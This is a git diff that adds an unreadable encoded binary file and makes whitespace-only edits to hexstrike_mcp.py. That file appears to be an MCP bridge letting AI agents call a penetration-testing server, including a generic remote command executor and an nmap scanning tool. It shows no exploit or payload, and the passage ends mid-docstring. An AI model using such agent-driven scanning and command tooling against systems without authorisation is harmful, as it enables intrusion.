zJ+57H<1K<74zYyn0#3-zVH;{1$j)b_!mIB?1eGZP7f zx!D_^EYi0u{+8_8w};PZ5-_V8-OK0_t*?H8Y6CrzF}sG>x$|MI)(r|`bN|Z2{+Wd);OYq3&5cd$_&?A7c9EXVnK0*NN2D2*3{Sf(o(KSP?UED_w3G{ zeZe`}i%&czBy=A@#hfmD`TCXmtbaet{p+tc3vqVGw1wZTKy|{e+MUDpETB+0jHfxL zVn1b6?Z(hcFr}Xy4>os&?u_^>R>QrU_VJt2}i(*5LG=GqkiN5fqJ402pV& zKJJ)aia8S$lLp`$3K$#ze)UZuJJDl@?KADQFJAMWKk*-D=RYY+wG991m;7k3;5Xbc^@%XZYj7T0tsx|q>q|0 z9sMP2jTo-2Z+P!Wo<+OxCYJRKUbpVWsX4`JZN(NCKAFoKI*cxzJCBB* zx{r4V5|`*qynNQ8MN5Hs22v*6(SyQH6V$`q|2I}iALVhe;qa{E5qo+T&1 zK%tw2tx3WAr%aKI_O!Y#aw&=NJRbC|{s4vN!{_eZ%U^WSMMvBbK!tEFkZ0)li!9u# zStU_7A`0OEv7kK;OG?qTz@c6rl~o_kZkyz=GF_o8(#pab@FJ34|H83lI#30ZB|F%ZCZz77$exjS7Qz-h72xZB{pqOK0{& zJAhnL7JvK0i@+9)$;?Qfc-7gbF@Z(7S@-<|gP(j-ei60V(yrBl~*wM*7W{-xJ@yDza(MW)dJ0@O_#nxA?TY z9{u!5!-g0=)!`0$kso& zkRbL}S1;y8@vYp9^vf2?7N(u*L z!jD9e+w>CjXh5;S)YgIAVY<&xSyVPi1m^P-MRMp&l1K>l`miYeM2xp?PpGju%Xf?0 z?tFh(NjLFNx7;ZF`|1Pu_C1lp2?O@rt#pR_)!n=K~b5 zzG>#nqwAP)h<&D8mo8V@tkyU`Ebg!0ep$EY_2B$s)*pEM5f*2)@UTwnLtgLB zpL^@5$D>|&!U;Nz6KyL;GrqBHZ~3y+%#5H!ID6UPGPY*p4iXKiyt8WosaUp@uG_vx zFDot}g*iEQz>lAP@Hq+($Aif|i7qSn2q8|e*(e`^bqMQAhG&Rb01-L*n`o?bVnDfo zFDD$F)kKM6?IP@Og0WzzD&u?un}+{=uEoR=!6X3w$9TWZ0mVZbk7gjyVBZxLr`2M0 z+wDfnk*3CG4b9%86$k2wL4AAP=djx1!N%0)y!AFoF6>QY!NNzpjU;!#P%vcO7$;D@ zKJTN4BN}rsf}!wc@WUdUAXy%{?+)&&%Wq{CUexT_*}QknxAf^3-{zkF>y2`<$8+Y( zix&O)qPBGSZ&$9&6a`WW6H|Nc@qh9+&3agC+_sMA9H~@DPSKh;B6yp^dSGukTTxz( zjl?y#RU#g%1vR{AWnC53-HCc~Y65X3X0c#>4X5nePaxhvp8e0i$dr)-A(Ev;8k(B# z?2?~jGC=RG`23;%s`y-yfzmdv~x9gfJ{A*>qQsF{Ne?r?1|q z3b5;`a!_}~xy8@o;~Ds9Tpb*I)qxPa1{$cUAQ^={xu+ifi{33Gjmgna zleg7>FC2!4)zP8-aJpc|40-vQwevGmlY5UU>!TCV#(~j7Lhy^pA$I9mGdPH|z_~Aj zf9U@nUyBOF))eLqe2{!Lkbmb0`N~vt*xrzbeVA{4Cre_glZZZ zUP585!+rkkbLRG$GnIlbzkEN=X%pQZ&jV+jJjD~|anSpoe1&b@xIWgBDkY8Zaq)Cn zMH5xGzD42$#-*mGp`XP#yPLRqriKDRvbD02gdl2ccfw(3kLQ3`;pFOC+IP|ku@kUjlG@^ z`5s`1X^U2^`qbs}evp!!F!QF1&f?#A=}q0gZzqRo-n1~nz5C*e^qf;>&;bRR&eDP| zsC$96&&C+#<>kekV-Crt~gMoKEgwmF;2N<4NO-^?6LZ;B|2666z7)42O@yHOoJv`pxlmZAki{&G1Y zUzVAXyy*Ab@0fzYZQY1ZaT-|D@d?yobFzejt`rAgRXxsUjqoCs3

-bn!6KhIy`- zA%OO&&Z$_$N{GcO=@3mrV@z#Wv&xWE2Uj!%VKKln@)h#_#9I3q-E=t97IaIjBNn<^7@ zugaIL=T(?Dny$h!B+2c!iw-&ph^D5dPUe9`cwx?b8g6bSW#lg zC&Xe~+dJcHy-P~=Y~H!;T7SU5peQ5NarZ6P(6t*kX-!+Ua9P8KQ9F=+ufO(&aP4Jh zurBd&ww_%IW__|~*{YMq4Bdb5bUEtz7TZ64+jnlgJt&8j-1PKmCr_CK+e$q9=kqUd z->=+2>RalFH7$>$DarZ|xMy$NLo9S9jDdyY6O*Y8h~szc;7f;nTC=JP)wMz9a6w>M zvgy&LCJ1r|!S}c7_ucttGJecpnhpDWV{`qgKsfx_PwoX9i^8_18BKo`YI7w4^}`z( z`W~l8!XJppMhi?mB_-uo-7~Bf7Y18xl7&*yu7k6QV!Rp=jM99R1c14G=&c-lNet$~ znJHM1{S{pfFg$n?Ur@+5gcZ^l1WyGPuo_h)9UIUCw}5UV6>Nscpazr@=FGsibhlH$ z^?;o&U`w--rkY0DxOSPsTPzZdX>t7GGafyBP}7FZn{SgEMMqMCXZYpkoJBIy()C*( zc$9D4xR&q^4-qU5uF9*By)8RAeZ^Y#?Pp(TbKlM;LD9+affle21QrYi$bMgtG_OR}i}@SRJ6jvvyOfth!BA6k)64CpiLuAlCKzjoAu>*gm04h4 zCfKH9Nze|5jn|k)Wmz?z-=XejJVbz3ZQlHFT2lPU9*aHYuQy*ym&5vKF5kr^^z22f zR=2)k$s+!mzdo!#_qSV!)8d-gw`;e%!0G=>hZ4L4>>zx;l^7k3nUm9)1P@%ZSggD& zD-(!cAGdhrdKmXAA~0D{;nD=mql0}EmN~D%nSst4{BI;jY4AW%qgcdZZY$$=EMHH{ z7k?u?Ohw%aP&$N)7NAgF#L7!Vv`BEOd0?|PcwEKF zaY{$~0CCYpV|3Ufzp#kbw}7a*@K2YXLm>*TMe54AxbD3uA1%_~e)>uJr?XF``RR$t z-SZ3nx?yMI7hu7Jj@7Z$@gFb0{IXP-n|md;;-0^BCG|Hnu;OVYWXCrv8SikAGf$aH zcrZ50D=MEJ^Z(geKV65hIiq*j9}mnU2?v;n&K78L z%Kt8P_b~h2SO%wRIvk0xmq8#x5G{h3meh8+38da4xiWH`7C2 z{^|Q};;{NF5)3!h);E6sYd&Mf#EJgB`z!yQosn|O$-{^7SNOeZ>)xF#KBEhxQXHN0 z(sTOLcizC;Y}S;*#6*;m-Hfk`Mk1}4n#&8!I&<2IdTMei`~1s=?A?VcNaLQ(Oc2m$ zkT~EXzCY6;H`eU#Em*2B?la6VQgjrNY zj&KqfkSb>ZV!};!_@Z!XqOa{BDmKw;s^UXlqzFVd69@MJPeS(xBjHP; z!QiGNXvuTn=Ng)u=fX+)XNSWHevSpa;#S(Yc|Dk35-I4KiOsucAR5^L?x2yefi;ak z_r_qPK9&-fd|G~L5+^u4YH;sv&Y7I1^572mcW%) z!{Yn~U|opOi7eu81)GvFu;U=`#FObWrjdbVrTV}=eYioT1w@rYeh9=~`t6#vpBw>M zf&PsH+rR}vii#}MY1 z&O765(o|Iq7jL1#))2k*hRf9NzFJ5U7#Tc&$#>^Y9yRO@eC>n@6WY|bu~!$c0nvehY;9Ahps&x;UnYDN77>az1H>T(G@7x2~i z4j5-2fBZ2&_Jr}+>W&1JC}n|WzI^=#5~|o2lhKY<&>}Gb!4s87k!6ax3gFa3gcG}2 z8J(;!X%@TyK33pN^^hb{i(~;#u@$Jc2*lAG@J*tkf!nUSonnuhY`56bgHcU+;jyQ| z0n@preYJYs%H_=B@o)o+i!@B+-Ctkx&ntj1`%!f7m&UV0^y>O^&s8Vv+3`qxoa^n$ zCk!$w$u(7GmD|e=bMS>HALM3Tf0>#P=T7d*amCZejM;#%!}b!`znK9Cy?@s}o<>4k z-PWC&+*A)YslvL5lB76MlO(}+xX-z?u=xA(ioKTtOZ8%(Ze8rpKlV56l+(|pwcmfs zu-k}l_g-?@`Ipdp{(6TtYH(T45rca?0#Va*+oPt(u*TPTk8XwCH?CZ_=1#lSx-B8z zee=YTgMoKUA{(~uB(KhyM^-La!lE_1nPPEsn2&FX^KdF$gJ`#~=2kz~5{|;sit?Br zt@xYZY;2~Ob*;d8^vHd8YsLAQbVS(z&SB$7LtXv$pc=TgZ&8to^VnQ!$POgGjPAS}YL7>!CLVCW2k1Qj$HkdHdL92CEy>539- z0M9cT0zaP^J<4FXz)Oh)@E%p(_;_7c4mabdS83^nojZ5lB&*8BX~~IKo;htYmyn!9 zKK=3=HutL~v}M;GO}B|0^CY7-KMC*-Zsq1(uzm&HI;dc`61!lhk+4o=Zyk(vi=k=I zqfcM%rpwRa`w!?rOY-t`IV{VyjSY9z)OKF(##Ggd&J6BMdNc%Va~<_oG+^E)5a%Jx z9Y9k}PT#SEBjnKS9Lq{ech@%5UKa1Myiw9M&-I@N?$k~{^(?)0n}gY%7J<5x$$wvX zo|1^7J$2vhg3V#MIJ+Q!E4=iT_NR2<0Mk_!1~m%A4VZFu6w8`wHg1LUvH|SMD6Oln zhJe2efh9vjg&6g1KnI{n3FAYIRDEMc;?~M*hE_kum{AkJ(nM(3&+2?$r6@BE&72ne zOdzd|`>U+1)Jc9mfwNM>?FQ&(8f*X_Pi`fZYt|C2rACX|Vij$uk>^sBPRC@*m@(01 zYt}uOo|rH_6E>*FpZo{C>YVdf%l>$d*F@~5pkHy>CEDB%=Kw)s?a{X|stmS!)e1!%@cbws>yNYcFaK-Flhew%Md!MMdYpOP=VsC&F4Z z$dBe|1lDMX)U4YG(*R;a+KoEW>_fAm-tjJSUMGeDtfZ)xNe zy9F1&2A2{hCjM|R34lKcM54JNK&00-)@i)kt%)gVLL>_GvK^dCSwTG&PEqy9vG}ay zoSY(u-5$TYqFQ?dqTCGA)GK#sa&3(&+3n&9Wu>Ua&GuDPymjK(v4LOvIeYh4&CX3v zzTRPT3MoCx^q?Hz!~Ry{Ov}-ltG38H_f<*xxv6?;yn701BLJ2zTo}m7&A!er@VBHU zCl^i_K2Rtr%%_v4oXEVjRs6T>x9dw*tmdj~eXOOfR^`HB*kNE`!al6%)qybKJ(;=s z#ivXleG4*)#gRY@3iC;EHbmc*NL`r8SMRB*{&xJRQ3v{+M(^(vR!btvjo)s?wU9TZC^m?&7}rey!eEUkgsNQ^a?v$i8j6^hje3r8Wt84X`UA3ewQh^lCe~@JkW!J(YV`b??$$6~S(^dpyinxr1qb zFAc%{kZ_}R>rMBf4v^3q3byPEM)n-doEtNAOyJW+i#{FFqu8%Rn$8{AtMH88-3z7e zC8cE7&b`|9?K}7n7X84=w{23f4Hcdz5iro0su-1tm^LeL4mx;vA9~`DfofqvKG&^# z5y?tTrVfih{6XJ0U^e|@)#`N%fqYU9_qv)_tYFbz{oPKmc|*Qd!iiQ!eXX(xuAGkA z8_1)e8kS*W{XDj9+_WXx<@|SYTFRX>CXONx4jZZM+`LIrA>KkID_QZ~GVP2DE+ucj z_>`qzQQ_T>J^$JgU)7%dSkH(K0>sWlBm4p;k|^02^Eg;;_r44wQfS8#43VP&Ac2Re z!PtNut^s8MyGBg>86!}=O7hv@!mfIP(*e;JtDe~>YQNo8xq|fSQi>?sHzl#O(6`OVsmc4Q?N=qYin6L5KZv$nk>s4isz%$ zT2@LD*`Ar9IUH`uQ`(OS@QxVm;bN_m7!YY1#z27y&=Orvn1eDHF%g9PzvsiD+slDC)8v;W@z~iBfyXlrd*qNpa@@cgR2c(LAks>lScE+^k_wg{F7| zG-*x_;cR>^*wb<!usDNX%!NZLk)(^5{G>ViRID0DNj8JwwPN+!MtJ*OaURFtCyy9x>s{21o;+?e3$!%RxhvMQ zxgUN(L%|@8AdMH6H5O?U37ij#pVOmO4{$p=9XNIrxnjmt)eVF}MqUBmyEuIm&lw#n|ajGKwe?Y&)7cuckS4bk{I_=en$GA z&N^|N{^XF6WY4ZDE*y+1j<|IC&DRUrc~@S`-h2KjF*iHo!k0hz;Ps16J#{-d#^{or za~e3$+~OZrY1>zP4p>WMW+^EnL-jSpocB#rgh z?2fKI`*KY{H2SORbZ1I7Y25jJ^zvICw7&G{EhITH;X?TFCpzx+I*oPe*t@5S>0q-+ z7ALQYu=IHw)`8N9idq2LG0PbK`L$_OH}S!sqD$^%W>c7kHF+YqEQuMJ1i})iwySn{ z0VTh&fTM}SgGm7VLBLB=9ExA%XJ*m&Uw@TI?gZRy1*N%OFDfZTwHbm3?6LT)VFQQU z0fs6c9~Z~|ao=CmfXtZP#tX8naSppp;TdlUM*VU{RpoO>^Eu^Pw^j`9TT(9Bo!wt~ z@?JHf09(n695B_ouc1!BG*iq%NKWvaF=xSoXHYqN;J|^x;_p|yKcsKZoi>Lphp6nD z(JInlYIKT0^=V402(Ja7E-OgLo&AI6QNi?np`_C0%p4)Hu5l z)r-hswV}RYw%uj>?}D|PmL&hwz-C^rm#$yGUY#^+*1C^B|9oe!p2a(qCT*bGZa-&m zx2{E`cZmoD0vS2R%T=G=NCLhV1|bhV*wUzr5(G@ZR|H>~+Tfm&Qj$q&elF%CpnP~B z81%m=Ssn8}UjD=4^CwRH)oEF$O`I6myT3e`ot|xf=ApYGG8e-7OpJjl@iq$|RHK2~ zriM9(`+n2LOp{x@E!$icd&%qnzMGH8ehxe(RRu!VA?o_jks}qbBZY?M#=EfP-O&7_#4LEAWDwOw=@h^8z;jg7bypxrERFJ@Ue(9h8APMd`Vz-D$@E9>I)G3F5;2PnU zS*5Z{z1~Ke=CKJHyp?FR+uG;FyzjnC$w*5a20=P?X#ZmUwO5}bk~5wN;6&+4hz%b$ zOw*W5>zf)sKkLL(LT&TtR}qAWaf1i9);Bloi66A$8Oa;C!+^JmIvs*gkeiF~Vn=Rz_CHy5SxFHc<`0n3!v=8;b+we&QOunP z+pFtTx7)=f*=^WJPq$dD#Fdi5x@KjO?QsYZajamv8v!H)-j%{>aDlzC5o|X0K!ugpg7buI-LnPwF9oZ>ruF~!5g?ZIX?b`DWe9tuso>$pfYye#4#)w3>m2tU@g&LG=%L!sM9KesUd0- z&vB`_*|an_TYzcEAYQ;l0-@>}Z}?x~fV?anj5{S zD+i~Yzy$)0w7jYbnJwn=IMPm?aKe+>Yt~#cu3x{(W3@jZ@z%9#{^eK@k(-lApL_F- zsMY2$`XT5MS?`{k#RJDdYwGGAJlfBy+E=l4d91bKNbuoA@(c`ACJ@p8|6lQ9%iE`M_dlKV_73P_Y(J|6iI$|mU{$XGe0DlCa zQ9Ea@5DG_hmnU8vF>08C_4hm#Gy%BSSa&O#z;9JY`%!Pa@rIojxMEFJWsAh?Q>RVj zjSN0R&6Y6H2B)N|(u$gf+J?Hiok#Oo7hQCbK6cWWH?z~EyG9M{iK%BQ2G}s9tEkuw z2|M3}>S6DYBa+m9U}~4moQah5G9U$3!J)bvh9@`J+&olMwJ9E#GpA2cJ{)OAS~%7h zGW;7j-!TpMSdp-zaBd-XR|CG&e;XQ`*Y?WpYbc$gAWO&V#P%#>+8o?A!yOH; zMPGgY?fTxuMN5@%Bu@>7#)7dhGBYtTJvTkg%E#K58J>zLh&0v~7|u{lM^Uk8tFL7j z{KRZs6suZ&t*g2vru?cys$;z^9^k7sZTK)PMLT!w@P5Xft6*wj{UKaT)az^6Sl=2x zqR;UL{BOoNJoio>I|$V$Af&;tClD4ih*)qP4h4O?_w9Y>SWfr+Zryjjx9Gj{9$9_& zCVAW$p>SxpO%g5~+^bt0BSj)y2UVgGh$cXsNRmVwj4y{aCnm$IvKCb2s)m-P|5|u; zT|_4P*KXXi>g0)|epQMYCrMyE2`w;$^1vR&GV5NXQwz^x^AmHw2};{~i9 ztWTf*H9Pk1ycGga|APBTQA>)^QRNhvkrFJtMsGmp!8-@yN=u7N8doxGm~G2<--YoR z&-rSx9+mZGi^$ParcRb167Gj5>p~p>6~o^;I>*L#f!=adz+`m8;DqowdQ=*=?b5YC zAn0oh2Hyi?f3u=TY9qnu?!DFZH7AbwpE&-ceeNQ_I8dUhz8{7lW$LKG;6&&uI^Pf< zKmlr8%7z00uZU7Zri%Fqm_b;t3ag7Zm=L^scwXRfNE~)fkzm4ToK?li3xgGovTYh= z4LGK-*0sXILP2*rEm1}DTP!rLdr=+)C9*LqUNc${z-Ak(tT0kvQEwGX3&Pk~5E!r^ zM6N_w)dD&^V27$S*3%d-o5CFBv7-P_(RmZ}uo|fl1X|rbFLF|oMp-SQLz8KsH(W=L zyj+=x7K*J8c>ybm1s06>Lyg|ne;>Twe=QnYyt5#vG<#U@QU{7fqpAT;Vz@6EZj*;d zodQlKFY&Ak8kMikook0Eq8Ij1>*QgBH3)t&OgiIWccB7=zu->8!C)1qsz+>4Zr!k< zUhLiL=}b#zpUjlFI3Rl^6t>|pt%GM0825@G@DQ-loEA}Xg7bNzkeG>5wcV2KDUbrhQ6Ktsi(hT^Io&dkOX*6pS?3x!4&) z0)DSvRkgo{ljtXLcK6)c`npa1diL3WsLy1svf9AW~{<7Ab!Guptl$*91wj z!D?nGVWUM=%@$^AdGuFuA2@%2VBfA=S=oSIB}D4go9QSL9tolAhnuJni7JiQ&Eim{ zCU6EeDvHu%b=cUL0evj6#9(+}#VOb^Q#Xh*IDBCJ5i7wKaj0PcYZEodV-%(_P&{l( zV7l-!_U`~+++w($C|eGmEmNb|ux$O|W_fg+3nz{q?VUY)_Pkz$2JLaVoU>IqS_+Kc z75S+tUAm+s^4Q@H+u|84fFU2s5s^1!M+l1GY2e>_n_8mvzLxp%aqi_3<2G*CR=#S* zk_Fyhx(>MUYIuHiPOCNk|$hO#>Z(}9SK$iR&A!tjjL%;0Nt=6rqrj2T9jg4ODT zPy+|oAjm@o_R_I0JOt`RoWU?v!|+J(+2FjDfpEGbYd9Pzfa%2=HMytitR zto`F9X%M{Zm=OS)+nvY@VjOIB;grNg?W`H6Nd&XgWL?1#6o5r)_O;Yi)YdFK+RvIk zeL4iD>OOT*wP1Mv?xJdxxG@@*VIxp`s{Q)(f-k{CWV$^&Go?4Y0Dlai!MiFFjh@ciMHT|4RG_dYE2`jfh_NQ%aPp{{zV#S< zmK>3lTY>bof$@rpp;qkl1Ux;1(_DpvUyRBTF%XK>oqzuMM=c@(#^|eAY02xb*S66c z6b~9W9w6ijrx5VlK^a@yMf`TV(bjD8{9Ln1G`xi1V30ht-(;RdB?uWjSX;W9*KC~FCi?ekAyl-!C}=S(MZFQW*Eqd{2GulTfi>B?&#HfhAz)?+>4XO1xh zmR7@9udc1!vpU|H_?6YhEOInr4=8H7CP!1?YFt_bV(*j-fz23{c(LBXlh%kD_3o>y z-RbjHHB22bRXLjLK=t%<{r*40W6H8y>_Iep!jZ6zpd_-c5|tA$>KtTN)@k`oXHLql z@}2X0mh^0fiDc8GidDhZOIVH#rWQouwQw|o+2#=o6_~?jJ8=Erf>yyiIt$h%C!xau zp<#HPggz;XhM|i#)W(h38>!&@X`(IgvMkxE(xU;1zTk z>|F__J9ffiDD8!!0yH+tM(($YDKQ%MZ3Frer~&;z4|Q~?G?j~jfo+$>Sc@~J2I0x= zXz%$9Oy@>;{ps)+!$?*j!-4O`8)d}ANa;c+xWVg>8Ea)_KU+I|IM}Y3Q$ zRhDI|4#9lM2u&Kne+p|}gb!B0GusZY}+bB|g zmq3(ipU)c%5N%JFzWMup>9ZoRKa<$A-VA5#1w1cUz$gY!4dxH0V4pmg+&r!ZAf2>o zm9bwv2H=9;;vy^|8V%dAb^#n3Ocz$M)CE2pd)Efw>-g+DwZy^M{{Rg5O}Z!ntsJ$8 zR;!{J1b~rvgYjc*RHz}Dg!_%bKZC!DBpx%=ISi*BgUW`SzKWd$uSC8{E8X-OBHa^72=}=HSsZRS1N_1#mIN5LM5D z$T%?_ulpBmq1~1HKIqyduga;5R%0p|9dY0kP&7Wt;{sA%N9t6U;onLmvg26p32Gz~ z20QXROkl@p4(F;12px(HJTG#3AQ-kme5dB(bIv&?WI7x~FTsjiZsheDL^6kmIkAWW zE6UBnoHsO>fnQ?V+Lvc+%hu<@IbRJ6DJt14vJ3=JBpkNc-PVY)gn{;B$B-B~6b!;q zQ`ZKg(X%A0Bx5$6KNz%v`4Xj^#juaCYAzCq9#Q$2iQfk%74ruIu-e>eOjip8h})k{ zmksggm->9<^wUpg^cdF6%mSzPp0@XVdC|)p^~Uk77K^6u*g-rV520@DU28WR=oXF> z*QvUmmLe2`qAH3CA+#MaPFrP6>t4zbgVg<2G;U?uAVW*6#-*ffW=7kf#h7Ut*My2o zr$yqDASyI*iB^I{GR~SgXJ*zqKj3_r_tSp&dfvUCwb%Z*_xp4t%zsain68{%Es>74 z4epp^@2(IkY)zPTi~JuA^B=!zEqbS(?>gs)BMr~PD|ZoPNAUVyDKa&{sfzlG*6XZ# zl2jscwvdJ|nd@w<;>NqnD~K<5|MkxWP!$CCW;Ln*^~A*G!vNxomNxrOC^zmtZ~tLc zzCXTYo+Oyk67O)NWW4kpHZ(ll97$7;KA`6;k4&a*XC)<_{5m@N=vBqjz6uSTi#6&d zWJ9MiYv&+lRSoak4CXb>Omo0uYsr_|+Ra-}o)~(7zndG?KU)rFf0$Qoc=*sA9fe44 zUy5q5u<-$zD(hj?eR4~{vU7nh`rWG^Rv=m}?qS*4&aC2BA^#?^16Krr}S}U`p zv&3pe#m|4O15QO03l9h>Ds5g<>xZOq+=gtoU{w~7f(;Gv^T@!S`&=lB3?A~kTe$+F ze#aK~5F-M*y7GVl`(jh{pm@^FSn9wxt30O!vA2ONjN?H$M-^tTbza;avUc_4@_tH$ zMT|YGrN^b8bh@G|$(-A54teWC>nPxF#}bvSZuji}?>m^s%@QyWEvpYC9sOue5rPDc zubTxa!`nYKd!ykmI)l;Y-CdjAVi|qH;xnB2eVTgh?`!N2On+6nGc2I>%E7EJ!ds0; z)^1^v9cSj$`hAQn^6$skAGGob1&{f^p)Wv_Hy1-I>sVeV2oD~3A4Mo)s|Ot93a+o0 z8#78OG(e;7bi0rEBLy7TP9ZsN%5HC`qh71`tx4kLrtDdB!T@CQ9`clpq24Kh_Y4Co*c-DYEw9cB^=R1l3eqthH@7PPlacsATioM%6*EmF6+UGH07*)R7}{6)MbReWKp zbmWRX&U#a8WumYUf|=FdUmxwv?PwX$@i3lOLmx|u7?xZoclca$6wVCBO#4T~wi~w+ zr#Q>mbTSTy>%3fCK;FIU+qjD0l!2g-IPP^jEY*BaY=e;=<m+^m`e*4ip#xo&6M3x>a62{Q|k z;9VN_W@4a(1XX-nTU%d!&GE?3j9Po=Au*yuM7bryx;)5Qph#QH4PEC41Qe$6CKBEz zE5;@KhyjZDS?I$`sh2KP_}=opbG^vk+(L;S_|ZRy+1(x~V!$Qj#r`fXk$j>qotdeS zFIV5CQ_Nj_H8iv(aGNzIk|?a}%K2#?`F>Y2Z<0594z!_2LVc8`EMsFgK2s1dc*(DL zGNy(==yj=*(2m3}pcHI@bE>j-uTB&n99R|VD!j*Pnl58|C>~{r!^)2cvu~=xGhSDt z$JD~K>XL3J(q}T*rQ3uvH=xg1L&P-rqYJpAMOn$F{t^PDfs|MK+4+<{WnU-w1An*)d|akC!4SK(z}Uy{BiiaOHVa3Vc}M>PE%RYaiFnkEsB)0DxOJA zY1I-hy090FTp2@CrM2xl;yXlx_Y%y*5144iGme?Oq4shHNg2lNnml^{u)Q9see+m? zgb`nv&q`Dt+ri`@m7#sx;-`=d>CQn#CA_g)mS1iP?g9{_G+2d)X{pkv-`E%g)Tj}* zjns!1_Nt?c%e14`HOagVFE`XV|DMZb zT=EMU=j%gfsbf3qiz1%cq%FGHa^R2xS<)rhR|RC3#@;*qttUmpo2~0%{f>{%A?GMx z`|0Z?oAfl*!(J4(UmjyaCvXCjR`iK`lmVY8#2$@QKC;#VYVcn6s7HsW!%MXJc;X&& z#I-R*dGnEUv^nxdnQt(11SOh0&yix3Y=K?-gKDPdtHD=$els8{VNrlTuD|)IGUxyC zKY$v5Kfm0E_9X)D0R9{5ccTngEt~t-B;Z87u1^7f%KC5UEjGYZChT__{|Ta}09FG0 vg&_Fq0wmY-Z;JcX`@4#NH0}R?FK(btbA#+;zRb=9>>p2eug{*I3CsT#xORZC literal 0 HcmV?d00001 diff --git a/hexstrike_mcp.py b/hexstrike_mcp.py index 16ae2f7..23b083b 100644 --- a/hexstrike_mcp.py +++ b/hexstrike_mcp.py @@ -30,7 +30,7 @@ from mcp.server.fastmcp import FastMCP class HexStrikeColors: """Enhanced color palette matching the server's ModernVisualEngine.COLORS""" - + # Basic colors (for backward compatibility) RED = '\033[91m' GREEN = '\033[92m' @@ -39,7 +39,7 @@ class HexStrikeColors: MAGENTA = '\033[95m' CYAN = '\033[96m' WHITE = '\033[97m' - + # Core enhanced colors MATRIX_GREEN = '\033[38;5;46m' NEON_BLUE = '\033[38;5;51m' @@ -51,7 +51,7 @@ class HexStrikeColors: RESET = '\033[0m' BOLD = '\033[1m' DIM = '\033[2m' - + # Enhanced reddish tones and highlighting colors BLOOD_RED = '\033[38;5;124m' CRIMSON = '\033[38;5;160m' @@ -61,14 +61,14 @@ class HexStrikeColors: BURGUNDY = '\033[38;5;52m' SCARLET = '\033[38;5;197m' RUBY = '\033[38;5;161m' - + # Highlighting colors HIGHLIGHT_RED = '\033[48;5;196m\033[38;5;15m' # Red background, white text HIGHLIGHT_YELLOW = '\033[48;5;226m\033[38;5;16m' # Yellow background, black text HIGHLIGHT_GREEN = '\033[48;5;46m\033[38;5;16m' # Green background, black text HIGHLIGHT_BLUE = '\033[48;5;51m\033[38;5;16m' # Blue background, black text HIGHLIGHT_PURPLE = '\033[48;5;129m\033[38;5;15m' # Purple background, white text - + # Status colors with reddish tones SUCCESS = '\033[38;5;46m' # Bright green WARNING = '\033[38;5;208m' # Orange @@ -76,14 +76,14 @@ class HexStrikeColors: CRITICAL = '\033[48;5;196m\033[38;5;15m\033[1m' # Red background, white bold text INFO = '\033[38;5;51m' # Cyan DEBUG = '\033[38;5;240m' # Gray - + # Vulnerability severity colors VULN_CRITICAL = '\033[48;5;124m\033[38;5;15m\033[1m' # Dark red background VULN_HIGH = '\033[38;5;196m\033[1m' # Bright red bold VULN_MEDIUM = '\033[38;5;208m\033[1m' # Orange bold VULN_LOW = '\033[38;5;226m' # Yellow VULN_INFO = '\033[38;5;51m' # Cyan - + # Tool status colors TOOL_RUNNING = '\033[38;5;46m\033[5m' # Blinking green TOOL_SUCCESS = '\033[38;5;46m\033[1m' # Bold green @@ -96,7 +96,7 @@ Colors = HexStrikeColors class ColoredFormatter(logging.Formatter): """Enhanced formatter with colors and emojis for MCP client - matches server styling""" - + COLORS = { 'DEBUG': HexStrikeColors.DEBUG, 'INFO': HexStrikeColors.SUCCESS, @@ -104,7 +104,7 @@ class ColoredFormatter(logging.Formatter): 'ERROR': HexStrikeColors.ERROR, 'CRITICAL': HexStrikeColors.CRITICAL } - + EMOJIS = { 'DEBUG': '๐Ÿ”', 'INFO': 'โœ…', @@ -112,11 +112,11 @@ class ColoredFormatter(logging.Formatter): 'ERROR': 'โŒ', 'CRITICAL': '๐Ÿ”ฅ' } - + def format(self, record): emoji = self.EMOJIS.get(record.levelname, '๐Ÿ“') color = self.COLORS.get(record.levelname, HexStrikeColors.BRIGHT_WHITE) - + # Add color and emoji to the message record.msg = f"{color}{emoji} {record.msg}{HexStrikeColors.RESET}" return super().format(record) @@ -146,11 +146,11 @@ MAX_RETRIES = 3 # Maximum number of retries for connection attempts class HexStrikeClient: """Enhanced client for communicating with the HexStrike AI API Server""" - + def __init__(self, server_url: str, timeout: int = DEFAULT_REQUEST_TIMEOUT): """ Initialize the HexStrike AI Client - + Args: server_url: URL of the HexStrike AI API Server timeout: Request timeout in seconds @@ -158,7 +158,7 @@ class HexStrikeClient: self.server_url = server_url.rstrip("/") self.timeout = timeout self.session = requests.Session() - + # Try to connect to server with retries connected = False for i in range(MAX_RETRIES): @@ -183,20 +183,20 @@ class HexStrikeClient: except Exception as e: logger.warning(f"โŒ Connection attempt {i+1} failed: {str(e)}") time.sleep(2) # Wait before retrying - + if not connected: error_msg = f"Failed to establish connection to HexStrike AI API Server at {server_url} after {MAX_RETRIES} attempts" logger.error(error_msg) # We'll continue anyway to allow the MCP server to start, but tools will likely fail - + def safe_get(self, endpoint: str, params: Optional[Dict[str, Any]] = None) -> Dict[str, Any]: """ Perform a GET request with optional query parameters. - + Args: endpoint: API endpoint path (without leading slash) params: Optional query parameters - + Returns: Response data as dictionary """ @@ -220,16 +220,16 @@ class HexStrikeClient: def safe_post(self, endpoint: str, json_data: Dict[str, Any]) -> Dict[str, Any]: """ Perform a POST request with JSON data. - + Args: endpoint: API endpoint path (without leading slash) json_data: JSON data to send - + Returns: Response data as dictionary """ url = f"{self.server_url}/{endpoint}" - + try: logger.debug(f"๐Ÿ“ก POST {url} with data: {json_data}") response = self.session.post(url, json=json_data, timeout=self.timeout) @@ -245,20 +245,20 @@ class HexStrikeClient: def execute_command(self, command: str, use_cache: bool = True) -> Dict[str, Any]: """ Execute a generic command on the HexStrike server - + Args: command: Command to execute use_cache: Whether to use caching for this command - + Returns: Command execution results """ return self.safe_post("api/command", {"command": command, "use_cache": use_cache}) - + def check_health(self) -> Dict[str, Any]: """ Check the health of the HexStrike AI API Server - + Returns: Health status information """ @@ -267,30 +267,30 @@ class HexStrikeClient: def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP: """ Set up the MCP server with all enhanced tool functions - + Args: hexstrike_client: Initialized HexStrikeClient - + Returns: Configured FastMCP instance """ mcp = FastMCP("hexstrike-ai-mcp") - + # ============================================================================ # CORE NETWORK SCANNING TOOLS # ============================================================================ - + @mcp.tool() def nmap_scan(target: str, scan_type: str = "-sV", ports: str = "", additional_args: str = "") -> Dict[str, Any]: """ Execute an enhanced Nmap scan against a target with real-time logging. - + Args: target: The IP address or hostname to scan scan_type: Scan type (e.g., -sV for version detection, -sC for scripts) ports: Comma-separated list of ports or port ranges additional_args: Additional Nmap arguments - + Returns: Scan results with 